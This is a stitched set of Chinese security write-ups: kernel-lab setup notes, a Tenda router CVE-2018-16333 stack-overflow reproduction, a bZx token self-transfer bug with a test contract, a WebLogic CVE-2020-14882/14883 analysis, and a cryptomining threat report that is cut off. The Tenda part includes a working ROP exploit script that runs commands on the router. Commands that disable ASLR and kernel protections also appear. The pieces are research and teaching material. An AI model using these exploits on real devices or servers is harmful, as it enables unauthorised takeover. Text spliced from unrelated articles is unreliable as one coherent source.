::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init
添加rcS文件
$ cat etc/init.d/rcS
#!/bin/sh
#!/bin/sh
mount -t proc none /proc
mount -t sys none /sys
/bin/mount -n -t sysfs none /sys
/bin/mount -t ramfs none /dev
/sbin/mdev -s
$ chmod +x ./etc/init.d/rcS
配置下dev目录
$ mkdir dev
$ sudo mknod dev/ttyAMA0 c 204 64
$ sudo mknod dev/null c 1 3
$ sudo mknod dev/console c 5 1
$ find . | cpio -o --format=newc > ../rootfs2-1.img
$ qemu-system-x86_64 -kernel ./arch/x86/boot/bzImage -initrd ../rootfs2-1.img -append "root=/dev/ram rdinit=/sbin/init"
## 6.测试系统调用
$ cat muhe_test_syscall_lib.c
#include <stdio.h>
#include <linux/unistd.h>
#include <sys/syscall.h>
int main(int argc,char **argv)
{
printf("n Diving to kernel levelnn");
syscall(300,1337);
return 0;
}
$ gcc muhe_test_syscall_lib.c -o muhe -static
一定要静态链接，因为你进busybox链接库那些是没有的。
$ cp muhe_test_syscall_lib/muhe ../busybox-1.19.4/_install/usr/muhe
$ find . | cpio -o --format=newc > ../rootfs_test_syscall.img
$ qemu-system-x86_64 -kernel ./arch/x86/boot/bzImage -initrd ../rootfs_test_syscall.img -append "root=/dev/ram rdinit=/sbin/init"
**报错：**
/bin/sh can't access tty job control turned off
**解决：**
<https://blog.csdn.net/qq_26093511/article/details/53464468>
加上这一句：console::askfirst:-/bin/sh
(注意：我之前写的是console::askfirst:/bin/sh，缺少了-，所以才报错)。因为，uboot的启动参数指定了console =
ttySAC0 ，也就是串口控制台。所以要在/bin/sh 前加 - 。
* * *
# !!!注意
##### 鼠标退出QEMU界面：
ctl+alt+鼠标点击
##### 保护机制关闭方法：
mmap_min_addr:
`$ sysctl -w vm.mmap_min_addr="0"`
kernel canary:
`编辑.config文件，注释掉CONFIG_CC_STACKPROTECTOR这一行，再重新编译内核。`
##### 编译driver：
**1.为了能够加载自己写的driver**
编译内核时make menuconfig -> Enable loadable module support ->Forced module loading
关闭Source checksum for all modules
$ make
**2.编译driver时的Makefile**
本机编译时指向/usr/src/linux-headers-4.4.0-103-generic
测试qemu时指向下载的kernel源码目录，如~/Desktop/kernel/linux-2.6.32.1/
* * *
#### 参考：
<https://www.anquanke.com/post/id/85837>
<https://www.anquanke.com/post/id/85840>
<https://www.anquanke.com/post/id/85848> | 社区文章 |
# CVE-2018-16333：Tenda路由器缓冲区溢出漏洞复现（含qemu调试环境搭建）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
开始学习IOT的漏洞挖掘和利用，网上没有发现该CVE的复现文章，于是拿来练练手，并摸熟IOT的环境搭建过程。CVE-2018-16333是个比较简单的栈溢出漏洞，影响AC9、AC7、AC10、AC15、AC18
等多款产品，此次分析采用US_AC15V1.0BR_V15.03.05.19_multi_TD01固件版本进行分析复现。
固件和poc可在github下载：<https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_CVE-2018-16333>
## 漏洞分析
首先查看程序开启的保护机制，可以发现没有开启PIE和canary保护。
根据CVE的描述，There is a buffer overflow vulnerability in the router’s web server.
While processing the ssid parameter for a POST request, the value is directly
used in a sprintf call to a local variable placed on the stack, which
overrides the return address of the function, causing a buffer
overflow.漏洞的原因是web服务在处理post请求时，对ssid参数直接复制到栈上的一个局部变量中导致栈溢出。根据ssid字符串定位到form_fast_setting_wifi_set函数。
程序获取ssid参数后，没有经过检查就直接使用strcpy函数复制到栈变量中。其中有个细节：第一次的strcpy如果要溢出到返回地址，会覆盖第二次的strcpy的参数dst。因此，为了将src指针覆盖为有效地址，并且不影响第一次的strcpy，我选择在libc中选择一个可读地址覆盖src指针。
搜索可用的gadget
╰─➤ ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc} #gadget1
╰─➤ ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3 #gadget2
利用过程：
* 1、溢出后跳到第一个gadget1，控制r3寄存器为system函数地址，第一个pc控制为gadget2
* 2、跳转到gadget2后，控制r0为要执行的命令即可
* 3、执行system(cmd)
## qemu用户级调试
安装qemu-user-static
sudo apt install qemu-user-static
安装完成后将qemu-arm-static赋值到文件系统目录squashfs-root下，启动httpd服务
cp $(which qemu-arm-static) ./qemu
sudo chroot ./ ./qemu ./bin/httpd
启动后卡在Welcome to …后面，因为程序会检查网络，用IDA将如下两个函数的返回值patch为1
将patch后的程序替换原来的httpd，重新启动
程序监听的ip地址是255.255.255.255，应该是网络配置问题。
根据`httpd listen ip =`字符串 <\- sub_1b84c <\- sub_29818 根据`g_lan_ip`全局变量 <\-sub_2E420。
//sub_2E420
v2 = getLanIfName();
if ( getIfIp(v2, &v15) < 0 )
{
GetValue((int)"lan.ip", (int)&s);
strcpy(g_lan_ip, &s);
memset(&v11, 0, 0x50u);
if ( !tpi_lan_dhcpc_get_ipinfo_and_status(&v11) && v11 )
vos_strcpy(g_lan_ip, &v11);
}
[文章](https://xz.aliyun.com/t/7357?spm=5176.12901015.0.i12901015.65db525cQBSuI3&accounttraceid=1d7f8f3f083842dba12fa62662c34665asfk)说大概的流程就是去寻找br0这个网络接口的IP,并在这个ip进行监听。
此时建立虚拟网桥br0，重新启动。
#本机的ens33是我上网的网卡
sudo su
apt-get install bridge-utils
apt-get install uml-utilities
brctl addbr br0
brctl addif br0 ens33
ifconfig br0 up
dhclient br0
但是结果中没有输出hello，而是执行完system函数后返回gadget中继续执行后面的代码导致错误退出。有的大佬说可能是因为是用户级模拟，打印不出system指令。因此接下来使用qemu系统级模拟固件运行进行调试。
## qemu系统级调试
qemu虚拟机主要问题是如何解决qemu虚拟机与host主机之间的网络通信问题，这样才能将固件和调试工具上传到qemu虚拟机里。这里参考了[文章](https://wzt.ac.cn/2019/09/10/QEMU-networking/)进行qemu网络配置环境搭建。
首先简要介绍qemu虚拟机通过网桥工作模式。网桥可以看作将若干个网卡连接起来的网桥，一个网络接口的数据可以通过网桥转发给另一个接口，实现网络通信。
tun/tap网卡工作模式：
普通的物理网卡是通过物理链路来收发数据，而tun/tap 是通过/dev/net/tun来收发数据，一端连着/dev/net/tun，一端连着协议栈。
* tun网卡：工作在三层网络层，能处理IP数据包并支持路由功能。
* tap网卡：工作在二层链路层，能处理mac层数据包，支持mac层广播，可以与物理网卡做桥接，主要用在虚拟机通讯。
qemu虚拟机将/dev/net/tun设备作为文件描述符进行读写，通过tap0网卡与host的协议栈进行数据交互。
#宿主机
sudo su
# 安装配置网络的工具
apt-get install bridge-utils
apt-get install uml-utilities
#我的宿主机的上网的网卡为ens33，并且存在多个虚拟网卡
ifconfig ens33 down # 首先关闭宿主机网卡接口
brctl addbr br0 # 添加一座名为 br0 的网桥
brctl addif br0 ens33 # 在 br0 中添加一个接口
brctl stp br0 on #打开生成树协议
brctl setfd br0 2 # 设置 br0 的转发延迟
brctl sethello br0 1 # 设置 br0 的 hello 时间
ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
brctl show br0 # 查看虚拟网桥列表
brctl showstp br0 # 查看 br0 的各接口信息
tunctl -t tap0 # 创建一个 tap0 接口
brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
ifconfig tap0 192.168.198.100/24 up #为tap0分配ip地址
brctl showstp br0 # 显示 br0 的各个接口
此时查看br0网桥各接口的信息如图，其中tap0的状态应该为disable，等qemu-system-mips启动后就会变为forwarding转发模式。
其中br0、ens33和tap0的ip应该要在同一个网段。在其他文章大部分br0和ens33（上网的网卡）的ip地址是一样的，然而我自己配置完后通过br0虚拟网卡通过DHCP获取的ip地址与ens33的ip不一样，并且通过实验证明也是可行的，但是可以观察到br0和ens33的Mac地址是一样的。
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
-net nic 表示希望 QEMU 在虚拟机中创建一张虚拟网卡，-net tap 表示连接类型为 TAP，-ifname指定了网卡接口名称(就是刚才创建的 tap0，相当于把qemu虚拟机接入网桥)。script 和 downscript 两个选项的作用是告诉 QEMU 在启动系统的时候是否调用脚本自动配置网络环境，如果这两个选项为空，那么 QEMU 启动和退出时会自动选择第一个不存在的 tap 接口(通常是 tap0)为参数，调用脚本 /etc/qemu-ifup 和 /etc/qemu-ifdown。由于我们已经配置完毕，所以这两个参数设置为 no 即可。
启动之后，eth0网卡没有分配ip地址，并且没有像参考文章中所说那样就可以与宿主机通信（也就是ping不通），这时需要再qemu虚拟机中给eth0网卡设置ip地址。然后就能愉快地使用scp上传文件系统了。
#宿主机
sudo tar -zcvf ../../squashfs-root.tar.gz ./
#qemu虚拟机
ifconfig eth0 192.168.198.76/24 up
scp [email protected]:/home/leo/Downloads/CVE-2018-16333/squashfs-root.tar.gz /root/squashfs-root.tar.gz
tar xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz
mount -o bind /dev /root/dev && mount -t proc /proc /root/proc
chroot /root sh
brctl addbr br0 #添加br0虚拟网卡
ifconfig br0 192.168.198.76/24 up
./bin/httpd&
* 【踩坑提醒】如果是用armel版本的虚拟机镜像，就会出现以上错误，需要用armhf版本。qemu虚拟机退出方法：同时按ctrl+a之后，再按c，出现(qemu)时输入q即可退出。
环境已经正常启动了，可以用过宿主机访问qemu中的web服务
去[github](https://github.com/b0ldfrev/embedded-toolkit/tree/master/prebuilt_static_bins/gdbserver)中下载静态编译好的gdbserver
scp [email protected]:/home/leo/Downloads/CVE-2018-16333/gdbserver-7.7.1-armhf-eabi5-v1-sysv /root/gdbserver && chmod +x gdbserver
使用gdbserver启动httpd程序，设置端口为9999
./gdbserver 0.0.0.0:9999 ./bin/httpd
在宿主机中，使用gdb-multiarch来进行远程调试
gdb-multiarch -q ./bin/httpd
set arch arm
tar rem 192.168.198.76:9999
b *0x6775c
c
最后几行需要ctrl+c才能输出，根据信息回到ida中找到对应的位置。
它们都是通过send_msg_to_netctrl函数输出在终端的，但是在网上没找到对这些函数详细的说明，我猜测是在之前调用的ConnectCfm与远程设备连接后，通过该函数发送一些报文给网络控制器。但是由于之前的ConnectCfm我们是patch过的，所以在这步出现错误也是情理之中。同样我们将它patch掉。
重新启动后能在结束时看到hello字符串。接着我在qemu中直接运行`./bin/httpd`，运行poc.py后报了段错误。使用gdbserver启动的程序和直接运行的结果不一致，卡了一段时间后发现gdbserver启动的环境和直接运行不一样，于是我试着先启动程序再用gdbserver附加到进程上。果然，发现每次启动libc的基址都不同。这时需要将地址随机化关掉。
echo 0 > /proc/sys/kernel/randomize_va_space
成功执行system(“echo hello”)！
poc如下：
import requests
from pwn import *
cmd="echo hello"
'''
qemu-user
'''
#libc_base = 0xf659c000
'''
qemu-system
'''
libc_base = 0x76dab000
dosystemcmd = 0x76f930f0
system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = 'a'*(0x60) + p32(readable_addr) + 'b'*(0x20-8)
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.198.76/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=12345"}
data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
## Reference
[写给初学者的IoT实战教程之ARM栈溢出](https://www.anquanke.com/post/id/204326)
[Tenda漏洞环境搭建与复现](https://www.nosec.org/home/detail/4634.html)
[Tenda AC15
栈溢出漏洞调试](https://xz.aliyun.com/t/7357?spm=5176.12901015.0.i12901015.65db525cQBSuI3&accounttraceid=1d7f8f3f083842dba12fa62662c34665asfk)
[ubuntu下qemu虚拟机实现和主机以及互联网通信](https://blog.csdn.net/qq_34160841/article/details/104901127)
[QEMU 网络配置一把梭](https://wzt.ac.cn/2019/09/10/QEMU-networking/)
[qemu虚拟机网桥通讯过程](https://www.cnblogs.com/xia-dong/p/11555625.html) | 社区文章 |
**作者：昏鸦@知道创宇404区块链安全研究团队**
**时间：2020年9月14日**
### 发生了什么
iToken是bZx推出的一种代币，今天早些时候，bZx官方发推表示发现了一些iTokens的安全事件，随后有研究员对比iToken合约源码改动，指出其中存在安全问题，可被攻击用于薅羊毛。
### 什么是iToken
iToken是bZx推出的类似iDAI、iUSDC的累积利息的代币，当持有时，其价值会不断上升。iToken代表了借贷池中的份额，该池会随借贷人支付利息而扩大。iToken同样能用于交易、用作抵押、或由开发人员组成结构化产品，又或者用于安全价值存储。
### 分析
根据推文指出的代码，问题存在于`_internalTransferFrom`函数中，未校验`from`与`to`地址是否不同。
若传入的`from`与`to`地址相同，在前后两次更改余额时`balances[_to] =
_balancesToNew`将覆盖`balances[_from] = _balancesFromNew`的结果，导致传入地址余额无代价增加。
uint256 _balancesFrom = balances[_from];
uint256 _balancesTo = balances[_to];
require(_to != address(0), "15");
uint256 _balancesFromNew = _balancesFrom.sub(_value, "16");
balances[_from] = _balancesFromNew;
uint256 _balancesToNew = _balancesTo.add(_value);
balances[_to] = _balancesToNew;//knownsec// 变量覆盖,当_from与_to相同时
### 漏洞复现
截取`transferFrom`与`_internalTransferFrom`函数作演示，测试合约代码如下：
pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Test {
using SafeMath for uint256;
uint256 internal _totalSupply;
mapping(address => mapping (address => uint256)) public allowed;
mapping(address => uint256) internal balances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 amount);
constructor() public {
_totalSupply = 1 * 10 ** 18;
balances[msg.sender] = _totalSupply;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
function approve(address spender, uint256 amount) external returns (bool) {
require(spender != address(0));
allowed[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
}
function transferFrom(
address _from,
address _to,
uint256 _value)
external
returns (bool)
{
return _internalTransferFrom(
_from,
_to,
_value,
allowed[_from][msg.sender]
/*ProtocolLike(bZxContract).isLoanPool(msg.sender) ?
uint256(-1) :
allowed[_from][msg.sender]*/
);
}
function _internalTransferFrom(
address _from,
address _to,
uint256 _value,
uint256 _allowanceAmount)
internal
returns (bool)
{
if (_allowanceAmount != uint256(-1)) {
allowed[_from][msg.sender] = _allowanceAmount.sub(_value, "14");
}
uint256 _balancesFrom = balances[_from];
uint256 _balancesTo = balances[_to];
require(_to != address(0), "15");
uint256 _balancesFromNew = _balancesFrom
.sub(_value, "16");
balances[_from] = _balancesFromNew;
uint256 _balancesToNew = _balancesTo
.add(_value);
balances[_to] = _balancesToNew;//knownsec// 变量覆盖,当_from与_to一致时
// handle checkpoint update
// uint256 _currentPrice = tokenPrice();
// _updateCheckpoints(
// _from,
// _balancesFrom,
// _balancesFromNew,
// _currentPrice
// );
// _updateCheckpoints(
// _to,
// _balancesTo,
// _balancesToNew,
// _currentPrice
// );
emit Transfer(_from, _to, _value);
return true;
}
}
remix部署调试，`0x1e9c2524Fd3976d8264D89E6918755939d738Ed5`部署合约，拥有代币总量，授权`0x28deb6CA32C274f7DabF2572116863f39b4E65D9`500代币额度
通过`0x28deb6CA32C274f7DabF2572116863f39b4E65D9`账户，调用`transferFrom`函数，`_from`与`_to`传入地址`0x1e9c2524Fd3976d8264D89E6918755939d738Ed5`，`_value`传入授权的500
最后查看`0x1e9c2524Fd3976d8264D89E6918755939d738Ed5`地址余额，已增加500额度，超出代币发行总量。
**综上，恶意用户可创建小号，通过不断授权给小号一定额度，使用小号频繁为大号刷代币，增发大量代币薅羊毛。**
### 总结
针对本次事件，根本原因， **还是没做好上线前的代码审计工作** 。由于区块链智能合约的特殊性，智能合约上线前务必做好完善的代码审计、风险分析的工作。
另外通过github搜索到其他项目也同样存在这个问题，务必提高警惕。
* * *
**智能合约审计服务**
针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队： <https://www.scanv.com/lca/index.html>
联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)
欢迎扫码咨询：
**区块链行业安全解决方案**
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵，给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验，凭借多重防护+云端大数据技术，为区块链应用提供专属安全解决方案。
欢迎扫码咨询：
### 参考
<https://bzx.network/blog/incident>
<https://twitter.com/k06a/status/1305223411615117322>
* * * | 社区文章 |
**作者：云鼎实验室
原文链接：<https://mp.weixin.qq.com/s/GRtDqr45x-tNnoR2Qi5ISg>**
### 一、背景
#### 漏洞概述：
WebLogic是美国Oracle公司的主要产品之一，是商业市场上主要的 J2EE 应用服务器软件，也是世界上第一个成功商业化的J2EE应用服务器，在
Java 应用服务器中有非常广泛的部署和应用。
10月21日，Oracle官方发布数百个组件的高危漏洞公告。其中组合利用CVE-2020-14882/
CVE-2020-14883可使未经授权的攻击者绕过WebLogic后台登录等限制，最终远程执行代码接管WebLogic服务器，利用难度极低，风险极大。
此处漏洞均存在于WebLogic的控制台中。该组件为WebLogic全版本自带组件，并且该漏洞通过HTTP协议进行利用，CVE-2020-14882漏洞允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。
#### 漏洞编号：
CVE-2020-14882、CVE-2020-14883
#### 漏洞等级：
高危，CVSS评分9.8
#### 受影响的版本：
10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
### 二、复现
#### 复现环境
本次测试是用的weblogic 10.3.6.0及weblogic12.2.1.3.0，weblogic12.2.1.4.0
#### 权限绕过漏洞（CVE-2020-14882）复现：
在正常访问console后台时会提示输入帐号密码
对于其他路径也限制了访问，可以看到返回403
通过未授权访问，则可以绕过验证直接访问后台。
可看到通过未授权访问的后台与正常登陆的后台相比，由于权限不足，缺少部署等功能，无法安装应用，所以也无法通过部署项目等方式直接获取权限。
‘%252E%252E%252F’即为二次URL编码过后的‘../’，通过这个就可以实现穿越路径未授权访问相关管理后台
#### 任意代码执行复现
利用上述未授权访问CVE-2020-14882结合CVE-2020-14883
**利用方式（一）：**
通过：
`com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext`，这种方法最早在CVE-2019-2725被提出，该方法通用于各版本weblogic。
这里首先需要我们构造一个恶意的xml文件，如这里我们自己本地搭建的http://10.211.55.2:9999/rce-win.xml。
其次需要被攻击的weblogic能够访问我们的恶意xml。
其他gadget：
`com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext`
**利用方式（二）：**
通过`com.tangosol.coherence.mvel2.sh.ShellSession`，但此利用方法只能在Weblogic
12.2.1及以上版本利用，因为10.3.6并不存在`com.tangosol.coherence.mvel2.sh.ShellSession`类。
我们可以看到在当前10.3.6版本会提示
当使用12版本测试时，即可测试成功
**其他exp：**
比如回显的
或者post形式：
#### 调试分析
首先，通过静态资源文件绕过路径权限的校验。之后weblogic会对提交的url进行两次url解码。最后会将handle中的参数传入HandleFactory执行任意代码。
从绕过路径权限的校验开始。首先weblogic的请求会经过`weblogic.servlet.internal.WebAppServletContext#execute`处理，这里会调用securedExecute()
跟进securedExecute，后会调用doSecuredExecute，继续跟进
weblogic.servlet.internal.WebAppServletContext#doSecuredExecute
在这里调用checkAccess进行权限的检查
进入`weblogic.servlet.security.internal.WebAppSecurity#checkAccess()`中可以看到当我们请求的路径为`/console/console.portal`时，checkAllResources为false
这里跟进`weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint()`
这里即比较我们的relURI是否匹配我们matchMap中的路径，并判断rcForAllMethods和rcForOneMethod是否为null
当我们的relURI为`/console.portal`时，rcForAllMethods不为null，rcForOneMethod为null，所以返回了rcForAllMethods。而对应静态资源就不会有限制和校验
接下来回到checkAccess，如果这里是原来的`/console.portal`时，到这就结束了
如果使用`console/images/console.portal`则会继续判断resourceConstraint及后续的isAuthorized，并进入`weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess`
在`weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm`中会进入hasPermission校验权限
所以当我们这里使用静态资源路径时，unrestrict值就为true
之后会根据web.xml中的配置对应的AsyncInitServlet来到了`weblogic.servlet.AsyncInitServlet#service`
这里如果解码后的url里没有“；”，那么就会继续调用super.service
再次进入super.service()
最终不管哪种请求都会来到doPost，并在这里调用createUIContext
可以看到此时已经经过了一次解码
随后进入getTree又进行了一次解码，此时requestPattern就变成`/css/../console.portal`
之后来到`com.bea.console.utils.BreadcrumbBacking#init`类，进入findFirstHandle
这里会逐个检查参数中是否有handle并将handle的参数内容提取出来返回
最后将获取到的handleStr作为参数调用`HandleFactory.getHandle(handleStr)`;此时也就来到了代码执行的入口
此时传进来的handleStr会在这里被拆成两部分，一个作为被实例化的类，另一个作为该类的构造函数参数及实例化，比如`java.lang.String('aaaa')`，被拆分成`java.lang.String`和`aaaa`
所以我们就可根据此来构造gadget，最终通过反射机制在此触发
比如当我们构造了恶意gadget后就变成了这样，随后即可触发rce
### 三、修复
目前Oracle官方已发布了最新针对该漏洞的补丁，请受影响用户及时下载补丁程序并安装更新。
Oracle官方补丁需要用户持有正版软件的许可账号，使用该账号登陆<https://support.oracle.com>后，可以下载最新补丁。
参考链接：<https://www.oracle.com/security-alerts/cpuoct2020.html>
在旧版补丁中，使用黑名单过滤，可使用大小写绕过，请更新最新版的补丁，或者如无使用必要可选择关闭console。
* * * | 社区文章 |
2018年1季度的网络犯罪所用的技巧和技术主要有加密货币挖矿，勒索软件和欺骗。下面我们一一进行分析。
# 加密货币挖矿恶意软件
恶意挖矿机对恶意软件来说是非常简单的一部分，许多的恶意软件家族已经将payload换成挖矿恶意软件或是增加了挖矿组件。总的来说，大多数的挖矿机都是用开源的挖矿组件，很少或不使用混淆技术。所以，逆向工程师很容易就可以进行逆向分析。
1季度检测到的挖矿活动看起来是少了，但是体量仍然非常庞大。2017年9-10月用户设备上的检测量达到2500万，到今年3月，虽然有明显下降，但仍有1600万的检测量。
商业应用中的加密挖矿恶意软件检测量是抖动的，2月有55万，而3月又有所下滑，但也检测到40万。
## 分发传播
为了利益最大化，威胁单元会用尽可能多的设备的计算能力来进行挖矿。所以，首先攻击者要有一种能够大量传播的方法，比如垃圾邮件，漏洞利用，恶意APK，和供应链攻击等。
## 漏洞利用
Wannacry勒索软件使用了泄漏的永恒之蓝和双脉冲星(DoublePulsar)漏洞利用，至少有两个不同的组织利用了相同的漏洞来感染Windows服务器，安装加密货币挖矿机，最终获利上百万。
其他像Oracle WebLogic Server
(CVE-2017-10271)漏洞北用来做学校和科研机构的服务器床传播挖矿机。服务器上网络犯罪分子的最爱，因为能提供更多的运算能力，能更快的挖到加密货币。最近，研究人员发现有利用超级计算机来在一些重要基础设施环境中挖矿的。也有用漏洞利用工具来传播挖矿机的，比如RIG
EK已经被用来进行传播，这也将是一个趋势。事实上，加密货币挖矿机也是最常用的drive-by下载攻击。
## 恶意APK
移动用户对加密货币挖矿并不是免疫的，含有恶意挖矿代码的安卓平台就是一个例子。与Windows恶意软件类似，恶意APK会有特殊功能的模块，比如垃圾SMS，挖矿机等。
## 供应链攻击
安卓挖矿机会用Minergate这样的合法挖矿池，Mac加密货币挖矿机也会使用。从官方网站下载应用的建议是不够的，尤其是当可信的应用被劫持之后。比如，OSX.CreativeUpdate就是通过劫持MacUpdate网站来传播加密货币挖矿机的。
## Drive-by挖矿
2017年9月中旬，Coinhive发起一项新服务——一个可以直接在web浏览器中进行门罗币挖坑的API，给web带来的一阵混乱。Coinhive
API集成的简单性是其能取得快速成功的原因。短短几周内，Coinhive API就被用于drive-by加密货币挖矿攻击。与drive-by下载类似，drive-by挖矿是自动执行和静默的，使用一些技术来强制使浏览者访问挖矿的网站。
与基于恶意软件的挖矿相比，drive-by加密货币挖矿不需要感染设备。这是它本身的优点也是缺点，因为这样就可以有更多的受众，但同时也会很难持续。
因为广告拦截等原因，网络犯罪分子已经开始检测和拦截Coinhive了，所以犯罪分子开始隐藏代码来避免被检测到。虽然检测到的driveby加密货币挖矿数量减少，但每天也有100万次拦截。
## 浏览器和技术滥用
除了持久的挖矿外，犯罪分子发现4种方式来进行长期不间断的挖矿。其中之一是用浏览器扩展工具在每个web会话中都注入代码。
需要注意的是JS是浏览器内加密货币挖矿的唯一方式。WebAssembly是目前被广泛使用的模块，可以以接近本地运行的速度运行，比JS更加快速和高效。
Drive-by挖矿是通过标准HTTP协议进行的，研究人员发现越来越多的通过WebSockets进行挖矿的例子。WebSocket是一种允许流数据交换的通信协议，融入安全WebSocket的加密货币挖矿代码很难被检测和拦截。
## Coinhive变种
在Coinhive成功之后出现了很多模仿者和变针哦你，研究人员统计发现，coin-have[.]com是第二最流行的服务，然后是crypto-loot[.]com，而Coinhive占所有挖矿收入的30%。
Drive-by挖矿是未经用户同意的情况下自动执行的，而且大多数情况下是静默执行。但也会有CAPTCHA来证明不是僵尸机器，而是真实的用户。用户输入验证码(w3FaSO5R)
后，手机或平板设备就会全速挖矿。这就说明，所有的设备都无法对drive-by挖矿免疫。
另外一点是第三方脚本变得很普遍，Texthelp公司就发现公司的插件被黑，被注入了Coinhive脚本，导致了上百家英国政府网站参与恶意加密货币挖矿活动。
## Ethical mining道德挖矿
Ethical
mining道德挖矿是一种非恶意的加密货币挖矿活动。当用户利用自己计算机的运算能力通过解决复杂的数学问题来验证和处理加密货币交易时就出现了道德挖矿现象。参与的回报就是可以将获得的加密货币存储在自己的数字钱包中。但是，随着加密货币的价值持续增长，需要解决的数学问题的难度也加大了，就许多更多的CPU/GPU运算能力来完成交易。所以，矿工就会抓住这个机会去购买更高端的图形卡，这会造成一个畸形的买卖市场。
#### 将浏览器挖矿合法化
基于浏览器的挖矿仍是一个很难管理的问题。为了较少批评，Coinhive引入了一个新的API，该API需要用户的输入来授权挖矿活动。这个想法是通过API将网站拥有着变得更加道德，访问站点的人在参与加密货币挖矿前会有一个知情权和选择权。根据Coinhive的数据，可选的API每天的调用量为3万次，而静默API的调用量每天为300万次。在美国主流媒体Salon[.]com的例子中，用户为了抵制广告选择同意Salon进行加密货币挖矿，而用户一旦同意，其CPU的使用率会达到100%。而用户也没有什么办法可以将停止挖矿。所以说，道德挖矿还有很大的进步空间。
# 恶意软件
2018年的恶意软件检测量反映出威胁图谱正在改变，从传统的攻击单元转向一些实验性的恶意软件。在用户端，检测到最多是仍然是广告软件，而企业端检测到最多的是间谍软件。基于恶意软件的加密货币挖矿软件riskware的量也在增长，反映出从标准（传统）恶意软件到加密货币挖矿机的一个转变。
## 广告恶意软件
广告恶意软件是2017年4季度企业和用户端的主要威胁之一。虽然2017年底的检测量在减少，但仍是用户端排名第一的威胁。企业端的检测量本季度上涨了14个百分点，但是3月有所减少。广告恶意软件在2018年1季度是企业端的检测量排名第五。
## 间谍软件
从2017年下半年到2018年第1季度，间谍软件的检测量仍然在增长。在企业端，检测量已经上涨了56%，Emotet间谍软件传播垃圾邮件达到了一个峰值，随后检测量有明显减少。而用户端的恶意软件检测量相对较少，排名第9。
## 勒索软件
勒索软件检测量从去年下半年开始有下滑的趋势。今年1-2月在客户端达到相对低点，有大约35%的降低；在企业端，与上季度相比，增加了28%。其中的原因可能是两款主流的勒索软件Locky和Cerber退出了市场。
### GandCrab勒索软件
GandCrab是2018年1季度利用RIG EK和GrandSoft
EK的勒索软件。其中RIG很有意思，有多个类型的payload。曾一度以为消失的GrandSoft软件被用来传播GandCrab勒索软件。Necurs和ElTest恶意软件通过垃圾邮件和被入侵的网站来传播GandCrab。
除了传播方式不同以外，GandCrab另一个特点就是要求的赎金是达世币而不是流行的比特币。可能是因为达世币的交易手续费要低一些，而且匿名性更好一些。
### Scarabey勒索软件
